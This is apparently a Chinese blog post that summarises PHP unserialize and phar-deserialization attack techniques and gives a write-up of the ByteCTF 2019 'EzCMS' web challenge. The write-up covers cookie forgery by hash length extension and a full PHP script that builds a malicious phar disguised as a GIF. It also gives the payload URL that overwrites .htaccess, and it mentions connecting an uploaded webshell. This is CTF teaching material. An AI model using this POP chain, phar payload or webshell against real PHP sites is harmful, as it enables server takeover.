php反序列化漏洞小结 + bytectf-EzCMS-wp

php反序列化漏洞利用姿势


  • 源码中存在unserialize函数(最常见场景)
    审计步骤
    • 寻找如下可能被利用的敏感函数:
      call_user_func
      array_map
      array_filter
      array_walk
      [ … ]
      以上php的回调函数如果传入的参数可控,那么就能成功getshell
      菜刀/蚁剑/冰蝎后续就不用说了emmm
      ps: eval等敏感函数当然也能被利用,但这种情况一般只会出现在某些良心出题人的ctf里,遑论实战环境
    • 既然找到了可能能利用的危险函数,那么就可以开始逆推poc了
      但是既然这种场景下有unserialize函数,个人还是倾向从unserialize开始正向分析可控参数流向
      主要切入点在以下这些魔术方法:
      • __construct
        // 当对象被实例化时被调用
      • __destruct
        // 当对象被销毁时被调用
      • __get
        // 当从不存在的属性中读取数据时被调用
      • __call
        // 当调用未定义的方法时被调用
      • __sleep
        // 当对象被序列化时被调用
      • __wakeup
        // 当反序列化生成对象时被调用
      • __toString
        // 当把类当作字符串使用时被调用
      • __set
        // 当对不存在的属性赋值时被调用
      • [ … ]
    • 那么理清pop链,就开始自己写php脚本生成序列化后的poc咯(具体操作这里略)
    • 对于第一种场景的实战栗子,这里附上合天的一篇专栏
      传送门

  • 源码中不存在unserialize函数(这种场景我也是最近才在bytectf中接触的qaq)

    看师傅们写的文章,知道了在找不到unserialize的情况下,我们仍可以利用phar来扩展反序列化的攻击面

    • 基础知识预备
    1. phar文件四大组成部分

      stub(标志位,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,这样phar扩展才能正确识别phar文件)

      manifest(phar中压缩文件的权限、属性等信息存放处。更重要的是该部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化攻击的核心部分)

      contents(存放压缩文件的具体信息)

      signature(末尾的签名,可选部分)

    2. phar反序列化攻击的目的,就是为了触发本没有的反序列化操作,而php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

      • fileatime / filectime / filemtime
      • stat / fileinode / fileowner / filegroup / fileperms
      • file / file_get_contents / readfile / fopen`
      • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
      • parse_ini_file
      • unlink
      • copy
      • finfo_file / finfo_buffer / mime_content_type

      具体为什么捏?

      底层代码啥我也没去细看过,反正只要知道这些函数都调用了关键函数php_stream_open_wrapper_ex,从而触发了最后我们想要的phar_var_unserialize函数,完成反序列化操作,这就够我们去构造合适的poc了

    3. 绕过一部分上传检测的伪造手法

      由于phar扩展识别phar文件是通过其文件头的stub,即__HALT_COMPILER();?>这段代码,但是对前面的内容或者后缀名是没有要求的,所以我们就可以通过添加任意的文件头以及修改后缀名来对phar文件进行伪装。
      如伪造为GIF,修改stub的代码如下

      $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>")
      

      我们还可以通过 php://filter 来绕过一些参数开头限制 phar 的靶场

      php://filter/read=convert.base64-encode/resource=phar://xxx
      

  • 既然已经基本理解了phar反序列化攻击的原理和手法,那么我们就进入实战
    这里用2019bytectf的一道web题EzCMS来演示全流程
    顺便也写下这一题的Wp

御剑扫到一个www.zip,典型的源码泄露
那就审计咯
发现主要有两个bypass

  • 越权上传
    不做任何处理,直接上传文件,发现页面始终回显u r not admin
    再看看泄露的源码
    upload.php在这里插入图片描述
    跟进config.php里去看看Admin类信息
    在这里插入图片描述
    发现Admin的__construct方法实例化了一个Profile对象,并调用它的is_admin方法如下:
    在这里插入图片描述
    发现要cookie欺骗才能实现第一个bypass
    那么要怎样构造正确的$_COOKIE[‘user’]呢?
    我们发现
    在这里插入图片描述
    在这里插入图片描述
    虽然$secret未知,但$secret.adminadmin的md5值和$secret的长度已知,那么我们就可以利用hash长度扩展攻击来构造合法的username,passwd和cookie
    对于hash长度扩展攻击,参照我的上一篇blog
    我自写的脚本也附在上一篇blog中
    传送门
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述页面回显不再出现u r not admin
    验证一下
    重新访问upload.php,点击view detail发现文件已上传到如下路径:
    在这里插入图片描述
    尝试直接访问上传的php文件,发现有500报错,判断是服务器内部问题
    在这里插入图片描述审计源码后发现是同目录下的.htaccess里写入了错误信息才引起的无法访问
    在这里插入图片描述
    这就引出了第二个bypass(同时也是本篇blog的重点:phar反序列化攻击

  • phar反序列化攻击
    我们跟着源码看看要怎么理出pop链(这里利用seay审计软件)

  1. 首先全局查找可能能利用的文件系统函数
    这里注意,光是函数还不够,还需要参数可控
    所以像下面这样的is_file函数就显然不是我们的攻击点
    在这里插入图片描述
    于是最终我们在mime_content_type上看到了曙光
    在这里插入图片描述
    在这里插入图片描述我们发现在view.php中filepath是以GET方式获取的,也就是说该参数可控
    在这里插入图片描述
    那么既然确定了传入的参数filepath能在mime_content_type函数中被反序列化,那么我们就开始考虑应该把filepath构造成什么样的类的序列化形式
  2. 魔术方法入手
    正则匹配全局搜索,发现如下魔术方法,好在不多,一个个看看有没有什么攻击点
    在这里插入图片描述
    从File类的__destruct魔术方法处入手
    在这里插入图片描述
    发现类里的成员变量checker调用了一个不在File类里的方法upload_file
    查找upload_file方法发现在Admin类里,但这个方法就一个上传文件,貌似没啥攻击点
    所以换个思路,由于刚刚的全局搜索里有**__call魔术方法**,那不妨看看再说
    Profile类里的__call魔术方法如下:
    在这里插入图片描述但是源码里唯一存在的open函数具体定义如下:
    在这里插入图片描述
    显然没有我们想要的攻击点qaq
    到这儿暂时宕机,看了看师傅的wp,发现可以去php手册里查找open的同名函数
    在这里插入图片描述
    找到ZipArchive类下也存在open函数,且第二个参数里存在能覆盖指定文件的模式,那么至此,pop链已经理清(最终目的是覆盖掉或删掉.htaccess)
  • 在本地生成del.phar文件(注意,php.ini里要令phar.readonly = Off)
<?php
class File{	
 public $filename;
 public $filepath;
 public $checker; 
 function __construct()
 {
  $this->filepath = 'nothing';
  $this->filename = 'nothing';
  $this->checker = new Profile();
 }
}

class Profile{
 public $username;
 public $password;
 public $admin;
 function __construct()
 {
  $this->admin = new ZipArchive();
  $this->username = './sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess';
  $this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
 }
}

$data = new File();
@unlink("del.phar");
$phar = new Phar("del.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($data);
$phar->addFromString("nothing.txt", "nothing");
$phar->stopBuffering();
?>

打开生成的del.phar的文件,发现构造的类已以序列化形式存储在了metadata里,如图所示
在这里插入图片描述
那么把phar文件也上传到靶机上
在这里插入图片描述
上传成功并拿到del.phar路径
构造view.php后的poc:
?filename=nothing&filepath=php://filter/read=convert.base64-encode/resource=phar://sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/54a993218e47fdef0851dc1e6b0817fe.phar
访问后即覆盖.htaccess
这时候再去按往常一样连接已经挂上的小马就可以成功啦
提一句,不知道为什么这里虽然我已经绕过了他过滤的马里的assert
但是菜刀就是连不上…
屈服,改用system来getshell
在这里插入图片描述
一通操作拿到flag(虽然当时比赛的时候并没有…
如果后面发现了为啥菜刀连不上,就再来更新一下这篇blog吧
(薛定谔完结)

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值